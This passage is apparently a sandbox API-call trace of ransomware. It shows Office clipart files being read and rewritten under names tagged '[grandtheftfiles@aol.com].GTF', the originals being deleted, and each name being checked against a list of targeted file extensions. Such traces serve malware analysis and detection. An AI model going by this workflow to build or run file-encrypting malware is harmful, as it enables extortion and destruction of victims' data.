	[0181.901] GetLastError () returned 0x0
	[0181.901] ReadFile (in: hFile=0x53c, lpBuffer=0x3ff2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesRead=0x360fecc*=0x1e8e, lpOverlapped=0x0) returned 1
	[0182.112] WriteFile (in: hFile=0x55c, lpBuffer=0x3ff2020*, nNumberOfBytesToWrite=0x1e90, lpNumberOfBytesWritten=0x360fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesWritten=0x360fc94*=0x1e90, lpOverlapped=0x0) returned 1
	[0182.113] ReadFile (in: hFile=0x53c, lpBuffer=0x3ff2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesRead=0x360fecc*=0x0, lpOverlapped=0x0) returned 1
	[0182.113] WriteFile (in: hFile=0x55c, lpBuffer=0x3ff2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x360fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesWritten=0x360fc94*=0xec, lpOverlapped=0x0) returned 1
	[0182.114] SetEndOfFile (hFile=0x55c) returned 1
	[0182.175] CloseHandle (hObject=0x55c) returned 1
	[0182.175] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0182.175] SetEndOfFile (hFile=0x53c) returned 1
	[0182.213] CloseHandle (hObject=0x53c) returned 1
	[0182.213] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182902.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0182.213] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182902.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0182902.wmf")) returned 1
	[0182.214] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182902.WMF") returned 68
	[0182.214] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182902.WMF") returned 68
	[0182.214] lstrlenW (lpString=".doc") returned 4
	[0182.214] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0182.214] lstrlenW (lpString=".docx") returned 5
	[0182.214] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0182.214] lstrlenW (lpString=".pdf") returned 4
	[0182.214] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0182.214] lstrlenW (lpString=".xls") returned 4
	[0182.214] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0182.214] lstrlenW (lpString=".xlsx") returned 5
	[0182.214] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0182.214] lstrlenW (lpString=".ppt") returned 4
	[0182.214] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0182.214] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182902.WMF") returned 68
	[0182.214] lstrlenW (lpString=".zip") returned 4
	[0182.214] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0182.214] lstrlenW (lpString=".rar") returned 4
	[0182.214] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0182.214] lstrlenW (lpString=".bz2") returned 4
	[0182.214] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0182.214] lstrlenW (lpString=".7z") returned 3
	[0182.214] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0182.214] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182902.WMF") returned 68
	[0182.215] lstrlenW (lpString=".dbf") returned 4
	[0182.215] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0182.215] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182902.WMF") returned 68
	[0182.215] lstrlenW (lpString=".1cd") returned 4
	[0182.215] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0182.215] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182902.WMF") returned 68
	[0182.215] lstrlenW (lpString=".jpg") returned 4
	[0182.215] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0182.215] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182902.WMF") returned 68
	[0182.215] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182902.WMF") returned 68
	[0182.215] lstrlenW (lpString=".doc") returned 4
	[0182.215] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0182.215] lstrlenW (lpString=".docx") returned 5
	[0182.215] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0182.215] lstrlenW (lpString=".pdf") returned 4
	[0182.215] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0182.215] lstrlenW (lpString=".xls") returned 4
	[0182.215] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0182.215] lstrlenW (lpString=".xlsx") returned 5
	[0182.215] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0182.215] lstrlenW (lpString=".ppt") returned 4
	[0182.215] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0182.215] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182902.WMF") returned 68
	[0182.215] lstrlenW (lpString=".zip") returned 4
	[0182.215] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0182.215] lstrlenW (lpString=".rar") returned 4
	[0182.215] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0182.215] lstrlenW (lpString=".bz2") returned 4
	[0182.215] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0182.215] lstrlenW (lpString=".7z") returned 3
	[0182.215] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0182.215] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182902.WMF") returned 68
	[0182.215] lstrlenW (lpString=".dbf") returned 4
	[0182.215] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0182.215] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182902.WMF") returned 68
	[0182.216] lstrlenW (lpString=".1cd") returned 4
	[0182.216] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0182.216] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182902.WMF") returned 68
	[0182.216] lstrlenW (lpString=".jpg") returned 4
	[0182.216] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0182.216] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0182.216] lstrlenW (lpString="J0185776.WMF") returned 12
	[0182.216] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185776.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185776.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c
	[0182.216] GetFileSizeEx (in: hFile=0x53c, lpFileSize=0x360ff14 | out: lpFileSize=0x360ff14*=27096) returned 1
	[0182.216] CloseHandle (hObject=0x53c) returned 1
	[0182.217] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185776.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185776.wmf")) returned 0x220
	[0182.217] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185776.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185776.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0182.217] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185776.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185776.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c
	[0182.217] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0182.217] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0182.217] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185776.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185776.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x428
	[0182.219] GetLastError () returned 0x0
	[0182.219] ReadFile (in: hFile=0x53c, lpBuffer=0x3ff2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesRead=0x360fecc*=0x69d8, lpOverlapped=0x0) returned 1
	[0182.222] WriteFile (in: hFile=0x428, lpBuffer=0x3ff2020*, nNumberOfBytesToWrite=0x69e0, lpNumberOfBytesWritten=0x360fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesWritten=0x360fc94*=0x69e0, lpOverlapped=0x0) returned 1
	[0182.223] ReadFile (in: hFile=0x53c, lpBuffer=0x3ff2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesRead=0x360fecc*=0x0, lpOverlapped=0x0) returned 1
	[0182.223] WriteFile (in: hFile=0x428, lpBuffer=0x3ff2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x360fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesWritten=0x360fc94*=0xec, lpOverlapped=0x0) returned 1
	[0182.223] SetEndOfFile (hFile=0x428) returned 1
	[0182.223] CloseHandle (hObject=0x428) returned 1
	[0182.223] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0182.223] SetEndOfFile (hFile=0x53c) returned 1
	[0182.226] CloseHandle (hObject=0x53c) returned 1
	[0182.226] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185776.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0182.227] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185776.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185776.wmf")) returned 1
	[0182.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185776.WMF") returned 68
	[0182.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185776.WMF") returned 68
	[0182.227] lstrlenW (lpString=".doc") returned 4
	[0182.227] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0182.227] lstrlenW (lpString=".docx") returned 5
	[0182.227] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0182.227] lstrlenW (lpString=".pdf") returned 4
	[0182.227] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0182.227] lstrlenW (lpString=".xls") returned 4
	[0182.227] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0182.228] lstrlenW (lpString=".xlsx") returned 5
	[0182.228] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0182.228] lstrlenW (lpString=".ppt") returned 4
	[0182.228] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0182.228] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185776.WMF") returned 68
	[0182.228] lstrlenW (lpString=".zip") returned 4
	[0182.228] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0182.228] lstrlenW (lpString=".rar") returned 4
	[0182.228] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0182.228] lstrlenW (lpString=".bz2") returned 4
	[0182.228] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0182.228] lstrlenW (lpString=".7z") returned 3
	[0182.228] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0182.228] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185776.WMF") returned 68
	[0182.228] lstrlenW (lpString=".dbf") returned 4
	[0182.228] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0182.228] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185776.WMF") returned 68
	[0182.228] lstrlenW (lpString=".1cd") returned 4
	[0182.228] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0182.228] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185776.WMF") returned 68
	[0182.228] lstrlenW (lpString=".jpg") returned 4
	[0182.228] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0182.228] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185776.WMF") returned 68
	[0182.228] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185776.WMF") returned 68
	[0182.228] lstrlenW (lpString=".doc") returned 4
	[0182.228] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0182.228] lstrlenW (lpString=".docx") returned 5
	[0182.228] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0182.228] lstrlenW (lpString=".pdf") returned 4
	[0182.228] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0182.228] lstrlenW (lpString=".xls") returned 4
	[0182.228] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0182.228] lstrlenW (lpString=".xlsx") returned 5
	[0182.228] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0182.228] lstrlenW (lpString=".ppt") returned 4
	[0182.228] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0182.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185776.WMF") returned 68
	[0182.229] lstrlenW (lpString=".zip") returned 4
	[0182.229] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0182.229] lstrlenW (lpString=".rar") returned 4
	[0182.229] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0182.229] lstrlenW (lpString=".bz2") returned 4
	[0182.229] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0182.229] lstrlenW (lpString=".7z") returned 3
	[0182.229] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0182.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185776.WMF") returned 68
	[0182.229] lstrlenW (lpString=".dbf") returned 4
	[0182.229] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0182.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185776.WMF") returned 68
	[0182.229] lstrlenW (lpString=".1cd") returned 4
	[0182.229] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0182.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185776.WMF") returned 68
	[0182.229] lstrlenW (lpString=".jpg") returned 4
	[0182.229] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0182.229] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0182.229] lstrlenW (lpString="J0185778.WMF") returned 12
	[0182.229] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185778.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185778.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c
	[0182.230] GetFileSizeEx (in: hFile=0x53c, lpFileSize=0x360ff14 | out: lpFileSize=0x360ff14*=25312) returned 1
	[0182.230] CloseHandle (hObject=0x53c) returned 1
	[0182.230] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185778.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185778.wmf")) returned 0x220
	[0182.230] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185778.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185778.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0182.230] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185778.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185778.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c
	[0182.230] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0182.231] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0182.231] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185778.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185778.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x428
	[0182.231] GetLastError () returned 0x0
	[0182.231] ReadFile (in: hFile=0x53c, lpBuffer=0x3ff2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesRead=0x360fecc*=0x62e0, lpOverlapped=0x0) returned 1
	[0182.234] WriteFile (in: hFile=0x428, lpBuffer=0x3ff2020*, nNumberOfBytesToWrite=0x62f0, lpNumberOfBytesWritten=0x360fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesWritten=0x360fc94*=0x62f0, lpOverlapped=0x0) returned 1
	[0182.235] ReadFile (in: hFile=0x53c, lpBuffer=0x3ff2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesRead=0x360fecc*=0x0, lpOverlapped=0x0) returned 1
	[0182.235] WriteFile (in: hFile=0x428, lpBuffer=0x3ff2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x360fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesWritten=0x360fc94*=0xec, lpOverlapped=0x0) returned 1
	[0182.235] SetEndOfFile (hFile=0x428) returned 1
	[0182.235] CloseHandle (hObject=0x428) returned 1
	[0182.235] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0182.235] SetEndOfFile (hFile=0x53c) returned 1
	[0182.256] CloseHandle (hObject=0x53c) returned 1
	[0182.256] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185778.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0182.256] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185778.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185778.wmf")) returned 1
	[0182.257] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185778.WMF") returned 68
	[0182.257] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185778.WMF") returned 68
	[0182.257] lstrlenW (lpString=".doc") returned 4
	[0182.257] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0182.257] lstrlenW (lpString=".docx") returned 5
	[0182.257] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0182.257] lstrlenW (lpString=".pdf") returned 4
	[0182.257] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0182.257] lstrlenW (lpString=".xls") returned 4
	[0182.258] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0182.258] lstrlenW (lpString=".xlsx") returned 5
	[0182.258] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0182.258] lstrlenW (lpString=".ppt") returned 4
	[0182.258] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0182.258] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185778.WMF") returned 68
	[0182.258] lstrlenW (lpString=".zip") returned 4
	[0182.258] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0182.258] lstrlenW (lpString=".rar") returned 4
	[0182.258] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0182.258] lstrlenW (lpString=".bz2") returned 4
	[0182.258] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0182.258] lstrlenW (lpString=".7z") returned 3
	[0182.258] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0182.258] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185778.WMF") returned 68
	[0182.258] lstrlenW (lpString=".dbf") returned 4
	[0182.258] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0182.258] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185778.WMF") returned 68
	[0182.258] lstrlenW (lpString=".1cd") returned 4
	[0182.258] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0182.258] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185778.WMF") returned 68
	[0182.258] lstrlenW (lpString=".jpg") returned 4
	[0182.258] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0182.258] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185778.WMF") returned 68
	[0182.258] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185778.WMF") returned 68
	[0182.258] lstrlenW (lpString=".doc") returned 4
	[0182.258] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0182.258] lstrlenW (lpString=".docx") returned 5
	[0182.258] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0182.258] lstrlenW (lpString=".pdf") returned 4
	[0182.258] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0182.258] lstrlenW (lpString=".xls") returned 4
	[0182.258] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0182.258] lstrlenW (lpString=".xlsx") returned 5
	[0182.258] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0182.259] lstrlenW (lpString=".ppt") returned 4
	[0182.259] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0182.259] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185778.WMF") returned 68
	[0182.259] lstrlenW (lpString=".zip") returned 4
	[0182.259] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0182.259] lstrlenW (lpString=".rar") returned 4
	[0182.259] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0182.259] lstrlenW (lpString=".bz2") returned 4
	[0182.259] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0182.259] lstrlenW (lpString=".7z") returned 3
	[0182.259] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0182.259] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185778.WMF") returned 68
	[0182.259] lstrlenW (lpString=".dbf") returned 4
	[0182.259] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0182.259] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185778.WMF") returned 68
	[0182.259] lstrlenW (lpString=".1cd") returned 4
	[0182.259] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0182.259] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185778.WMF") returned 68
	[0182.259] lstrlenW (lpString=".jpg") returned 4
	[0182.259] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0182.259] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0182.259] lstrlenW (lpString="J0185780.WMF") returned 12
	[0182.259] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185780.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185780.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c
	[0182.261] GetFileSizeEx (in: hFile=0x53c, lpFileSize=0x360ff14 | out: lpFileSize=0x360ff14*=59734) returned 1
	[0182.261] CloseHandle (hObject=0x53c) returned 1
	[0182.261] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185780.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185780.wmf")) returned 0x220
	[0182.261] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185780.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185780.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0182.261] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185780.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185780.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c
	[0182.261] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0182.261] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0182.261] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185780.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185780.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x428
